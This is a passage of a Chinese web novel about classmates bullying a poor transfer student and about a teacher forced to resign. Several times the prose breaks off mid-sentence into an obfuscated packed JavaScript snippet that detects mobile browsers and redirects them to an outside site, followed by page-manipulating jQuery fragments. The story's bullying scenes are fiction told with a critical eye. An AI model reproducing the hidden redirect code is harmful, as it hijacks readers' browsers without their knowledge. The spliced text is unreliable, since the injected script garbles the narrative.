“你说没有就没有吗,陈屿你也太搞笑了。你等着哈,这件事还没完,李婉玫会处理的。”说完,冯银子就气冲冲地跑走了。 庞潇掉头从另一边绕回校车停靠的弯道,上了开往自己家区域的那一辆。麦吉已经在车上了,还在朝她招手。 她刚坐下,麦吉就忍不住凑过来:“你听说了吗?” 庞潇闻到他身上一股食堂的饭菜味儿,连忙背脊挺直靠后,离他远一点:“麦婆你说话就说话,别凑这么近。” 麦吉丝毫不在意地靠回自己的座位,压低声音:“运动会之前那一周咱们不是在体育馆彩排吗,我听说噢,徐晓梦没有提前走,她被锁在器材室了。” “李婉玫说的?”庞潇问。她被李婉玫叫去谈过话,虽然她不确定到底出了什么事,但能猜到和那天晚上有关。 “对啊,我也推理了嘛。你看,徐晓梦是和我们一起到的,她不情不愿地彩排了一下子,我们收东西的时候她人就消失了。” “那谁关的她?”庞潇脑海中闪现了几个名字。 麦吉做出“嘘”的手势:“别看我。还有更劲爆的,你知道她那天晚上到底怎么出来的吗?” 庞潇摇头。 “是陈屿去开的门。” 庞潇这次忍不住出声了:“……啊?” “你看,吓人吧?陈屿怎么知道她在那儿,还蹲下给她系鞋带儿,你说陈屿不会喜欢她吧?” 庞潇不知道陈屿是不是喜欢徐晓梦,但她隐约知道为什么冯银子要去质问陈屿了。 陈屿站在徐晓梦那一边……?为什么啊?他图什么? 庞潇感觉自己好像碰触到了一团隐秘的迷雾——这个秘密每个人都只知道一点,越拼凑,就会越让人兴奋。 周日晚上返校后,庞潇在晚自习时去了一趟方原的办公室。 徐晓梦也在。她有太多不懂的东西,以至于方原讲到后来开始叹气。他只能让徐晓梦自己在旁边想,转而先给庞潇讲。 方原说话的时候,庞潇一直在观察徐晓梦。她的校服明明是新的,怎么穿在身上皱成一团,没有人给她熨衣服吗? 她头发那么长那么黑,还挺好看,应李婉玫要求扎起来的时候会露出小巧的耳朵。 但她说话总是太细声细气,结巴时更显微弱,与人说话犹如两军交战一退再退,让人想看看她的底线在哪里。 ……这样软弱无辜的徐晓梦会干出那些事吗? 方老师知道吗?李婉玫应该不会自曝“家丑”,不然他会怎么看他们班上的人? 回教室的路上,庞潇碰到了庄笙,简短与她打了声招呼。晚自习的后半截,庞潇一直呆在小教室。那里人少,比较适合听英语。 而后的这一周,对庞潇而言可谓是惊心动魄。 起先是周一下午,第一个到教室的同学发现徐晓梦的桌子被掀翻在地。数学书、生物书……课本烂作一团,被撕成无数碎片。被刻意揉皱的作业本上全是记号笔涂抹的鬼脸和脏话。 同学们束手无策,都不知道该怎么办。他们大多也延续了运动会时的要求,没有主动和徐晓梦说话。 庞潇看着她呆呆地走进教室,又呆呆地蹲下身捡课本。打扫卫生的同学拿着扫帚不耐烦地催促她把所有的纸团都捡走,她只能一个劲儿地往怀里塞。校服兜不住那么多纸屑。 庞潇感觉自己应该帮她一点什么,但周围没有人动手。他们都在自己的座位上,装作一切没有发生。直到陈屿和武平过来扶起桌子,庞潇才上去帮她一起收拾。 “哎呀!”庞潇小声尖叫,手里的纸页浸了不知什么水,脏得要命。她求救似的看向徐晓梦:“要不然扔了吧?” 写满笔记的残页也根本看不出来是什么了。徐晓梦紧紧盯着,她低着头,只露出一截湿润的脸颊。 来上课的物理老师在教室门口催促:“你们聚在一起干什么,赶紧回座位了。” 庞潇的鞋子推了推地上的纸,让旁边的同学过来扫走。 在随后的几天里,诸如此类的事件继续发生。徐晓梦的水杯里被灌入粉笔灰,抽屉里会收到打印字体拼凑的恐吓信,时不时消失的文具课本,或者出现在椅子上和脚下的钉子……庞潇记不清楚这些事出现过多少回,它们始终如阴魂纠缠着徐晓梦。 徐晓梦的座位四周似乎有一道结界,靠近她是危险的,远离她是安全的。藏在这些事背后的人也成功向高一五班传递出了这样的信号。 周四的晚饭后,庞潇是第一个回到教室的。她刚推开门就看见郁迟独自坐在教室里,正把手里的一袋粉末往外抖。 他坐在徐晓梦的那张桌子上,背对着庞潇,听见有人进来也没在意。 “不要乱丢垃圾。”庞潇警告他。她心里没底,也不敢真的用警告的语气,音调拖长显出几分柔和亲切。 “关你*事?”男生阴鸷的双眼一抬,庞潇的眼皮跟着一跳。 她安慰自己这丑猴子不敢在教室里对女生动手的,大着胆子往前两步,发现他拿着的是一袋白糖——还专门用鞋子抹匀了。 郁迟跳下桌子,手插进裤兜,笑盈盈地朝庞潇走去:“好学生,你看到了怎么办啊?” “都是你们干的吗?”庞潇背上发毛,祈祷着赶紧有人进来。 “跟你没关系,反正你也只看到我啊。请同学吃点糖怎么了?” 庞潇喉咙动了动,才说:“我又不欠你们的,你管我看没看到。” 郁迟若有若无地笑:“也是,你和徐晓梦关系也不怎么样。你会告诉李婉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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场地从教室里一直转移到走廊。试图劝架的几个男生也唯唯诺诺,刚拉几下就被打跑了。麦吉正在左顾右盼地找武平,班上也就他体格比那俩都大。 他好不容易找到个从厕所方向过来的救星:“庄笙,快点,你快去找李婉玫,打架了!” 庞潇听见激烈的殴打声,担忧地望了一眼。但那边人太多,实在不知道谁在占上风。 一股激烈的情绪撕扯着她,导致她一时失了理智。 “喂,徐晓梦,”庞潇走到正在害怕的女生桌前,“你知道这几天到底是谁在整你吗?” 庞潇弯下腰,压低声音:“就是他们四个,我都看见了。” 不止今晚,还有昨天,前天,大前天……庞潇总是不合时宜地路过,然后装作不知情地去小教室呆着。她戴着有线耳机,什么也听不见。 她告诉徐晓梦,这样他们就扯平了。 徐晓梦最好还得感谢她,而不是像现在这样毫无动静——这让庞潇十分受折磨。 她在实现公平,并不是要说谁的坏话。因为他们都做了错的事情呀。 就像运动会开幕式那天晚上,她返回礼堂时叫住了卓诗兰。 开幕式前一天,庞潇亲眼看见了徐晓梦从自己的抽屉里拿出一个ipod。 庞潇知道那不是徐晓梦的东西,否则她不会做贼心虚地四处张望,又快速塞回书页间。 真相代表着公平和正义。至少她是这么认为的。 12. MP 冷风掀起潮湿的气味,墙角透出雨后发霉的青苔。 庄笙望见栏杆外下降到二楼的水位,深呼吸的时候,湿气从鼻腔深入肺腑,浸透每个聒噪不安的细胞。同时,她也注意到并未完全停歇的雨——它们只偶尔从天而降,仿佛无声的追问。 庞潇摊开手掌,接住时有时无雨滴。她平和地扫过其他人,慢慢地说:“每个人都知道当时发生了什么,但没有人能说出来。就连李婉玫都没有采取任何措施。” 可能李婉玫和庞潇想的差不多,也可能她只是要大事化小,轻轻揭过。 卓诗兰捏住自己的手指,粉色的甲片映出沉默。在她身旁的赵选拢拢头发,收起手机:“事情已经过去很久了,我都记不清了。庞潇,你难道不是因为想让徐晓梦付出代价才告密的吗?现在又想装什么好人。” “我不是个好人,”庞潇垂下眼,“我只是在做我自己认为对的事。但现在想起来,我已经不知道对还是错了。” 徐晓梦受到的惩罚固然让她认为活该,也同时令她感到害怕。那样矛盾的心理到今天也记忆犹新。 空气冰冷停滞,充斥着阴暗的天台。一个森冷的声音话中带笑:“那都多少年前了,小时候不懂事,想要引起关注而已。” 郁迟慢慢系上衣领的扣子,嘴角挂着随性的笑意。他抬起头,雨滴落在额头上,莫名炙热。于是继续说:“庞潇,看样子你也没有说完整吧。我记得,你当时还被选为学生代表去见校长,你怎么没把这件事说出去啊?” 被质问的庞潇突然语塞:“我……” 的确,高一的第一个学期靠近末尾时,李婉玫让她去参加了校长谈话会。她在那个圆桌会议上欲言又止,临走时还被当时的校长叫住,问她是不是有什么事情。 她是怎么回答的呢? 她说:“没有。” 她还说:“李老师对我们很好,班上同学团结友爱,特别有集体荣誉感。” 是啊,她是为了集体荣誉考虑才这样说的。李婉玫肯定也这样想——否则为什么不上报到教务处。 ……他们是要评优秀班级的。 庞潇低头答道:“我没有说。” “我知道了,”麦吉咧嘴笑起来,指着郁迟,“在庞潇眼里,你们和徐晓梦已经扯平了,这件事就已经过去了呀,和她有什么关系。” 冯银子没好气地说:“那徐晓梦也是个小偷,有什么疑问。” “我有。”陈屿忽然开口。 “那件衣服,到底是谁剪的?” 冯银子退了半步缩到赵选身旁,紧抿双唇:“看我干嘛,不是我。” 她眼含固执,定定地瞧着陈屿。 沉寂的风声再次响起,却吹不散凝固的气氛。庄笙这才开口:“抓紧时间,下一个人说吧。如果大家没意见,那我——” “我先说,”麦吉胸有成竹地拍手,“既然确定徐晓梦是小偷,那就很清楚了。陈屿,她确实没你想的那么无辜,当时咱们数学方老师辞职也是因为她。” 温嘉靠住栏杆,漆黑的天空在她眼里投下一片阴霾。 庄笙仰起头,来自上空的雨丝开始逐渐绵密。 - 麦吉从幼儿园开始就是班长,用现在的流行语言描述,他从面相到体态都“局里局气”的。 作为老师的得力助手,他非常享受管理其他人的时刻——这种特殊优待带来的满足感甚至超越了成绩和容貌。他自幼就比同龄人更懂得,出来混看的不是单一的指标。如果非要说,那也就是老师一句话的事。 他爸也言传身教地告诉他:“老师就是你的上级,让你的上级高兴比什么都重要。” 麦吉深以为然。 他从初中开始就在临城中学了,升入高中后自然更是游刃有余,起码李婉玫这样的新老师还没他资历深。 不到一周,他就摸清了李婉玫的脾气。表面再凶,也还是年轻、急躁、怕事,总而言之是个纸老虎。又过了两周,但凡李婉玫撇撇嘴,他都能猜出她要说的话。 于是麦吉这个代理班长很快坐稳了位置。 至于徐晓梦嘛,她刚来的时候,麦吉是想和她说话的。原因有三个(他爸说讲到原因都要说三点),首先是因为她漂亮,其次是因为她漂亮。第三么,是因为接近这样的贫困生会凸显他对班集体的关心热爱。 所以在期中考试结束后的第一堂化学实验课上,他自告奋勇地成为了徐晓梦的队友。当然,徐晓梦没有反对的余地。 “你知道酒精灯怎么用吗?”麦吉偏头看她。她看上去像个安静的洋娃娃,令人等得不耐烦。 徐晓梦先点头,又摇头。 麦吉大手一挥:“没关系,那我来教你。” 徐晓梦全程没有说话,认真地看着麦吉操作。麦吉也不负所望地成功复刻了课本上的每一个细节。末了,他发现徐晓梦在走神:“喂,你看着呀。” 麦吉自认为很负责了,可徐晓梦不太领情,她性质缺缺的模样导致他心情非常不爽。徐晓梦既不道歉,也不说谢,下课铃响拎起书就走了。 麦吉第一次对自己的魅力产生了怀疑。他是什么很招人烦的男同学吗?应该不会吧,除了庄笙,其他女生都挺爱搭理他的。 不过他们班的女生都挺肤浅的。后来他发现徐晓梦也不例外,否则不会经常找陈屿讲题。那么简单的题目他也懂啊。 高一的第一个学期对于麦吉而言是风平浪静下的冰山,和他的成绩一样,乍一看还行。班上那些鸡零狗碎的传闻他完全不感兴趣,同时他深刻意识到现在和初中有所不同。 他在初中部当班长的时候,年少无知的同学们还挺依赖他的。他喊冲的时候,很少有人落下。 不像在高中。 他那些扯大旗的废话总是遭到嘲笑。尤其是郁迟,还带头给他起外号,喊他“麦当劳鸡腿堡”,卓诗兰还说他啰嗦的样子像个老太婆,所以麦吉是“麦当劳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691147|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆婆”。久而久之,同学们都简称他为麦婆,英文名也从May变成了MP。 麦吉一开始是拒绝的,但耐不住大多数人都这么喊。他只能宽容大度地认了。否则他还要遭到更难听的反驳。 渐渐地,他意识到自己和班主任李婉玫的关系必须保持战略性松散。他不能太听李婉玫的话,不然他会被视作奸细,被同学们排斥。也不能完全撂挑子摆烂,因为会影响到李婉玫和其他老师对他的评价。 他最好是扮演一个只出现在需要时刻的小丑,负责哗众取宠,调和双方关系。至于不在他责任范围内的人事物,统统都不要管。 麦吉是个聪明人,从小家境也优渥,很快就适应了新的规则。不像武平那样又穷又轴的,时不时都要讨顿打。麦吉不想挨打,更不想变成脱离大集体的“少数”。 所以关于徐晓梦,他完全没有深究——他本来也没看见。李婉玫问起的时候,他的确是发自内心地惊讶。 谁会无缘无故去伤害一个新来的柔弱女同学呢?一定是这个女同学做了什么不对的事情吧。什么,是谁?真的不知道啊,体育馆排练我什么也没看见。……欺负同学?天呐我们班的窗户有被翻越的迹象,会不会是其他班的人悄悄溜进来干的?李老师,徐晓梦也跟年级上的其他人混吗?徐晓梦挺漂亮的,是不是有人嫉妒她?我是真的没发现,咱们班的人不会做这种事,吧? 李婉玫没有答案。 他看出了李婉玫的纠结,也听见了李婉玫对郁迟、冯银子、卓诗兰和赵选的大声呵斥。他觉得郁迟活该,卓诗兰看得出来就是这种人,冯银子和赵选恐怕是被冤枉的。 而且徐晓梦确实偷了东西嘛。李婉玫问她的时候,她自己也点头了。 麦吉修正了他对李婉玫的看法。她没有那么怕事,她怕的是别的东西。毕竟他撞见过副校长专门来问冯银子的情况,言语之间还提到了她外公,把李婉玫欲言又止的部分全都堵了回去。 麦吉在寒假期间又接受了他爸的情商训练,等着下个学期再大展拳脚。然而开学不到一个月,他们学校最帅的老师,也就是他们班的数学老师方原,被迫辞职了。 麦吉亲眼看见徐晓梦把一封情书放在了方原的桌子上。 他当下觉得他爸讲的都是垃圾,完全不适用于他这些天马行空的同龄人。太抽象了,太刺激了,这不是滥俗小说里才会出现的剧情吗?徐晓梦是嫌自己还不够遭人讨厌吗? 等等,难道是方原发现了她的处境,对她施以援手,令她感激涕零,所以……? 麦吉悄悄脑补了一出禁忌大戏,却不料这件事立刻被传遍了学校。就连那封情书也被人复印下来贴上了通往食堂的玻璃橱窗—— 不出一周,方原被家长投诉,意指他故意耽误学生学习。 麦吉心生冤枉。 ——那天在场看见的明明只有他一个人,但他敢对天发誓绝对不是他传出去的。如果说谎,那他一辈子都叫MP。 13. 情书 麦吉撞破徐晓梦递情书那一天是一个异常精彩的周二。 首先是课间操结束时,有人眼尖发现陈屿桌上多了一瓶茉莉花茶。饮料瓶压着一张小纸条,留下班级和一串神秘数字。 众人都在纷纷起哄,陈屿却平静地拉开椅子,趴桌上睡觉。麦吉心道装什么装,怕是暗爽得不行吧,谁知道对面是什么品种的癞蛤蟆。 麦吉假装开玩笑:“哟陈屿,你和徐晓梦分手啦?” 同学们顿时一通狂笑,发出了意有所指的奇怪声音。也对,自从上学期运动会的那张照片后,大家都默认他们两人之间有一点暧昧不清的关系。 虽然陈屿和徐晓梦几乎没有任何交流,徐晓梦甚至不再找任何人讲题,突然间却有了一种说法——郁迟他们在期末忽然安静了下来,是因为李婉玫的确做了一些调停和压制工作,而陈屿就是和李婉玫合作的那个人。 因此郁迟和陈屿打架那一回也不算他冤枉。 麦吉觉得男生之间打架是很正常的,打完之后还能勾肩搭背当兄弟,江湖一笑泯恩仇,这不正是武侠小说里的剧情吗!至于徐晓梦,只是一个用来彰显主角魅力的工具人。 所以他放心大胆地起哄,不怕得罪任何一方。说那句话时,他余光悄悄瞟向徐晓梦的方向,她仍然忧郁地坐在那儿,头发披散着遮住侧脸,手握住一支粉色的自动铅笔。麦吉看见她摇了摇头。 “别乱说。”陈屿的声音传来。他的神情忽然严肃,略带一丝警告意味。 麦吉心头不爽,但在突然紧张的氛围中立即服软:“我就开玩笑,你好认真哦,谁配的上你嘛。” 麦吉阴阳怪气了一番,赵选在旁边接茬儿:“那你喜欢徐晓梦还是学妹啊?” “人家成绩好不早恋。” “哦哟陈屿多清高。” 陈屿在无聊的哄笑声里埋下头继续睡觉。 午休的时候,麦吉听见隔壁宿舍传来大喊。宿管老师匆忙赶去,他作为班长也连忙从床上一跃而下。 隔壁宿舍的地面留有一滩殷红,武平捂住脑袋,身后通往阳台的玻璃门碎了一地。据说是他们在宿舍打游戏时,武平自己撞上了玻璃。 麦吉赶紧打电话给李婉玫。其他人一片慌乱,谁都不知道该怎么办。受伤的男生还坐在地上,嘴唇渐渐因为大量出血而发白。 幸好教师公寓就在对面楼,李婉玫很快过来领了人打车去医院。她也还不到三十岁,好像从来没有处理过这种事,整个人都绷紧了。 看着武平上车的时候,麦吉产生了一种强烈的不真实感。武平看起来也挺正常的,谁会莫名其妙往玻璃上撞? 和武平同一间宿舍的是郁迟,他一直站在门口打瞌睡。 同一天晚自习第一节结束,麦吉收好了物理作业交去办公室,老师们基本都不在。他把作业留在办公桌上,离开到走廊尽头时忽然想起有一道题的答案他好像和陈屿不一样。 麦吉返回办公室想补两笔,却发现室内多了一个人。徐晓梦抱着数学书,手上还有一封薄薄的纸。她似乎犹豫了片刻才选择放下那张纸。 听见脚步声,她慌乱地抬头。麦吉大摇大摆地走进去:“你怎么来了?” 徐晓梦不说话,麦吉以为她是因为今天上午的事不高兴,连忙补充道:“我今天是乱说的,你别往心里去啊。对了,方老师今天在4班守晚自习,你去4班找他吧。” “……谢谢。”徐晓梦低声说。她的声音真的很轻,像一阵夜晚的春风飘过耳朵。 麦吉不由唉声叹气,怎么徐晓梦是有两幅面孔的,和她做出的坏事简直毫不相称。他瞄了一眼她放在方原桌上的纸,可爱朦胧的粉色十分惹人怀疑。 但徐晓梦已经飞快离开了,没有给他质疑的机会。麦吉想了又想,努力克制住自己窥探的欲.望。 他的心中涌出两个声音。一个说,如果真如他猜测那样,方原看到可能会出事。另一个说,这是别人的事,与他无关。 麦吉的手指碰到卡片的一角,犹豫良久,没有翻过来看见卡片内容。 “麦吉,作业都收好了?”方原踏着下课铃进来。 麦吉顺势将卡片往那一堆练习册下面推,巧妙地藏了起来。他心中默默期望方原不会看见。 此时离晚自习结束还剩一个小时。 然而一个小时后,那张粉色的卡片出现在桥头的公告栏上。每一个从教学区返回宿舍的学生都会看见路灯下那个歪歪扭扭的字体。 只有短短三行字—— “to 方原老师, 山有木兮木有枝,心悦君兮君不知。 愿我如星君如月,夜夜流光相皎洁。 from 高一5班徐晓梦” 麦吉双眼一黑,脑袋嗡嗡作响。那是铅字写上去的,还有涂抹的痕迹,完全是徐晓梦的习惯。 但是这玩意儿是怎么贴到这里来的? 是徐晓梦自己要暴.露的?她想干什么?或者难道说是方原搞的?这也说不通啊。方原在学校里特别有名,因为他长相英俊,打扮也很潮,喜欢他的学生多了去了,可没人干过这种事。 在临城中学这样的地方,规矩是第一,成绩是其次。这规矩当中最重要的一条禁令就是早恋,更何况是这么违背道德的事! 不知道为什么,麦吉此时对方原的印象大打折扣。至于徐晓梦……她脑子里装的都是什么啊?她到底想怎么样? 周围的人越聚越多,还有悄悄带了手机的人拍了下来。 “出什么事了?”庄笙的声音叫醒了麦吉,“你怎么一头冷汗?” 她顺着麦吉的视线,也愣在原地。倒是和她一起过来的温嘉反应迅速,一把撕下了那张卡片:“疯了吧,在公告栏贴这种东西,也不嫌丢人。” 温嘉三两下撕碎卡片,作势要丢入垃圾桶。 “哎不是,”麦吉心中波涛翻滚,语无伦次地阻拦,“这是证据!” 温嘉双颊鼓起,脸色泛红,似乎是生气:“证什么据?这也太恶心了!徐晓梦自己写写也就算了,怎么,还想让全校人都知道吗?” “温嘉,”庄笙拉住她,声线柔和,“徐晓梦为什么要写出来让大家都看见呢?” 她的话提醒了温嘉:“我……我怎么知道她想什么,她那么奇怪的人,一点底线都没有,万一她就是想……” “想什么?”麦吉追问。 温嘉捏住那一把碎纸,冷哼道:“她最好不是。那这个怎么办?” “拿回去贴好,看看字迹。”庄笙建议道。 麦吉想说自己已经想过这一点了,但他没有说出口。即便温嘉撕掉了那张纸,当时的情形和纸片的内容也很快传开了。 他回到宿舍的时候碰到武平,脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691148|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上抱着几圈纱布,正在听班上的男同学讲述那张纸片。麦吉从那飞舞的言词中听出了几分对方原的羡慕。 “太震撼了,怎么敢的啊。”郁迟勾住麦吉的脖子,摇头叹息。见陈屿路过,郁迟又喊道:“诶陈屿,你没有什么要说的吗?” 陈屿头也没抬:“假的,不信。” 他的语气平静而笃定。 郁迟骂道:“嘁,真装。” 按时间看,陈屿比麦吉回来得晚,也就是说陈屿并没有亲眼看见公告栏。麦吉怀疑起来,那他为什么这么确定? 年级上的风言风语在第二天彻底传开了。徐晓梦直接成为了众矢之的。还有人专门从外班过来,就为了看一眼谁是徐晓梦。 郁迟大大方方地给他们指教室角落:“就那儿。赶紧的,要看排队,超过一分钟要收费的哈。” 大部分同学面对这样的情形都选择让开,不让自己暴.露在众目睽睽之下。麦吉也不想被注视,他只能站在人群边缘,装作若无其事。 与同学中的流言不同,方原好像毫不知情,不为所动地继续上课。也没人敢直接问他。 直到一周后,流言已经慢慢平息,方原在一节晨课结束后被教务处的老师叫走了。其中一位教务老师叫住麦吉,得知他是班长后让他挑选几名同学去办公室谈话,只透露“最好是方原老师比较喜欢的学生”。 麦吉立刻会意,这当然是要数学成绩比较好的。他叫上了陈屿和庄笙,又挑了温嘉,以及另外两位同学。 在去办公室的路上李婉玫匆匆赶来,和教务老师打了招呼:“魏老师,他们都是平时很听话的学生,不会犯什么错。” “我知道,就是了解一下情况。” 那位魏老师单独和每个人问了几句话,比如问麦吉:“你认为方原老师的人品如何?他平时的教学质量高吗?晚自习有单独辅导同学功课吗,具体是哪些人,有女生吗?” 麦吉如实回答,但没有提到过徐晓梦的名字。 其他的细节麦吉已经记不清了,他被问得晕晕乎乎,紧张得手心冒汗。以他久经沙场的经验,他们必定是想问出一些什么,但对麦吉的回答似乎都不太满意。 麦吉心里盘算着怎么才能好好发挥给老师留个好印象,没过几句就被打发走了。 第二天开始,数学老师换成了1班的钱老师,他称方老师病了,自己是暂时来代课的。但自那以后,方原直接从学校里消失了。 过了将近两周,方原辞职的消息才传出来。有人说是某个学生家长向学校投诉了他,理由是他太爱打扮,十分影响学生上课的专注程度。 在一片哀嚎中,麦吉生出隐隐的不安。 这一次,他很确定,徐晓梦直接成为了至少两个班女生的公敌——她不是方原辞职的直接原因,但也是重要的导火索。 麦吉心想,这个年纪的女孩子都刻薄得要死,她们肯定都很讨厌徐晓梦。与此说是讨厌,不如说嫉妒,因为徐晓梦很漂亮。 这种情况下,上学期的那些事说不定会以更严重的方式再次发生。 一种隐秘的英雄主义在此时笼罩住麦吉。一个念头的声音越来越大:他得保护徐晓梦。 - 天台的雨越下越大。 庄笙看见疯涨的黑色潮水已经上升到四楼了。 而麦吉不为所动,侃侃而谈。 14.分裂 根据麦吉的说法,后来发生的事直接导致了班级内部的分裂。 首先是对徐晓梦的迁怒。不少人将她视为辞职事件的罪魁祸首。赵选和冯银子在午间时再次勒令所有人不准和徐晓梦说话。 没有人敢当面反驳。 麦吉是不同意的,他也知道班上还有一些男生也是反对的。比如陈屿。 “那现在怎么办?”麦吉在一次课后抓住陈屿,“这事儿没完没了了。我觉得,还是该给她们一些下马威,但是不能太过分,真打起来就麻烦了。李婉玫又管不着。” 陈屿想了想,说:“后天是徐晓梦生日。” 麦吉大为震惊:“你连这都知道?” “班长,”陈屿叫得他怪不好意思的,“你手里有学生名单。” 麦吉面露惭色。 陈屿说:“我有个主意。” 麦吉不敢马上认同。毕竟既要不引起正面争执,又要拿出保护徐晓梦的立场,很难在夹缝中权衡。他一方面是极想逞英雄的,但另一方面又不想得罪郁迟他们。 心中的那股小火苗忽然熄灭了不少。他的头脑发热,身体里却冷冰冰的。他还要在这里呆上两年呢,要是挨揍了肯定还得被爸妈责怪。 临到这关口,麦吉只好先摇头:“我再想想吧。” 陈屿似乎早就预料到了,点点头,没再说什么。 两天后的中午,学校食堂人满为患。 麦吉坐在陈屿那一桌,武平也在旁边。麦吉见陈屿吃得很香,自己却觉得没什么滋味儿。他记得今天是徐晓梦的生日了,可是他也没机会和徐晓梦说话。 她一个人坐在长桌的角落,很以往一样孤独地吃饭,没有任何人和她说话。就连坐在她旁边的温嘉和庄笙都沉默不语。 等她俩吃完离开后,徐晓梦还在原地刨饭。她吃得很慢很慢,就和她的性格一样,磨磨蹭蹭。 麦吉的目光跟随着徐晓梦,根本没注意到陈屿什么时候走的。直到陈屿过去女生坐的那一桌,然后弯腰和徐晓梦说了几句话。 徐晓梦似乎有些发愣。她慢吞吞地去还了餐盘,却又转身跟着陈屿进入食堂窗口旁边的通道。 那边应该是后厨。麦吉想着,却见武平也跑去了通道口。他脑袋上的伤还没好,洪亮的声音颇具排山倒海之势,朝着里面大喊:“生日快乐!!!” 此时在嘈杂的食堂里也突然吸引了所有人的目光。 一些其他班的好事者立刻聚在了通道口。麦吉不甘示弱地站在人群边缘踮脚眺望。 也不知道是谁起的头,总之忽然响起了生日歌。起先只是一两个人,而后所有围观的学生们都唱了起来。 在起伏的歌声中,麦吉看见徐晓梦坐在通道尽头,而陈屿端出一枚比脸还大的生日蛋糕。数字蜡烛的火光微弱,映在徐晓梦眼里却无比明亮。 她安静地坐在那儿,头一次在这么多鼓励的期盼的眼神下,吹灭了蜡烛。 麦吉不合时宜地想,如果递蛋糕的人是他就好了。 他落下酸麻的脚跟,发现人群边缘还站着一个不受欢迎的人。郁迟注意到麦吉,扯开嘴角,露出一个阳光而冰冷的笑容。 他拍拍麦吉的肩膀,顺便狠狠拧了一下他的脸,沙哑的嗓音和毒蛇似的:“生日快乐啊,这么重要的事都不和我说啊?你这个班长不行噢。” 麦吉咽了喉咙,条件反射地解释:“我没有……我也刚知道。” “是吗?”郁迟猛一挑眉,转身走了。 麦吉在原地出了一身冷汗,总感觉郁迟是在不怀好意地警告自己。郁迟这个人很危险,也很古怪,像某种原始性很强的动物,时不时就会发狂咬人。麦吉是个相当接受文明世界规训的好孩子,就算体格上比对手强健,也往往难以招架。 说白了,他不认为自己是个丛林社会中的强者。 比起给徐晓梦过生日,他更不愿意让自己成为众矢之的。 他抬起头,看见陈屿在人群另一头,笑容温和平静,给素不相识的同学们分蛋糕还会引起阵阵惊呼。 他们好像处于两个不同的世界。 - 麦吉讲完最后一段,倾盆的大雨毫无衰减。他神情冷静闲适,像一个再精明不过的中年人。 笃定的字字句句却让其他人异常急躁。眼看着水势上涨,郁迟一把揪住他的衣领:“你tm想害死我们是吧?” 麦吉被勒得喘不上气,原本平和的五官扭成一团,浮出不明的笑。 “是你说的,撒谎就会有暴雨,怎么,现在你是故意的?”郁迟下手没轻没重,被卓诗兰稍微拦了一下。 “咳……咳咳,那可能情况恰好相反吧,”麦吉猛地咳嗽起来,他弯下身子,擦掉嘴角的水渍,“你们也没证据。” “你找打!” 郁迟扬起手,却被冯银子喊停了:“现在不是吵架的时候!再这么下去大家一起死在这儿。” “那你有什么办法吗?”庞潇的脸上不再挂着笑容,冷目相对,“要不是因为你们当初干的那些事儿,我们至于被困在这里?你倒还好意思了!” 庞潇的诘问让他们都愣在原地,或许是没想到她会直接撕破脸。庞潇自己也有点后悔,现在局势尚不明朗,她不该口不择言。 可事情明明已经到了这一步…… 她后退半步,站在楼梯拐角的位置,水已经快要漫上来了。真要出什么事,她只能往回廊的方向跑。 麦吉索性坐在台阶上,大口喘气:“庞潇,你冷静点。咱们现在都是鱼肉,别冲动。再说了,庄笙都还没说话。” 他意有所指,朝庄笙咧开嘴。微微上扬的嘴角充满戏谑。 庄笙看见他藏在阴影中那张陌生的脸庞,什么也没说。温嘉悄悄站到庄笙旁边,小声问:“水涨这么高了,现在怎么办?” 庄笙说:“需要有人讲出一些真相。” “雨下这么大,”温嘉探头望去,“麦吉你比我有本事多了。” 麦吉往后一仰,背部靠在冰冷的栏杆上。他反问陈屿:“你觉得呢?” 一直站在门边的男人懒散地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696355|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬眉,衣袖挽到小臂,斜飘的雨滴顺着手背的青筋坠落。 麦吉加重了语气:“平时各个自诩正义,你们都不为徐晓梦说话吗?喏,罪魁祸首不都在咱们眼前了?” 他的目光慢慢经过郁迟,赵选,卓诗兰,和冯银子。 “你少甩锅了,”冯银子终于忍不住反唇相讥,“麦吉,把徐晓梦关在体育馆的人不就是你吗?” 闪电的白光霎时撕破永夜,照亮了麦吉眼中一闪而过的慌张。 “既然如此,我来帮你回忆一下吧。” 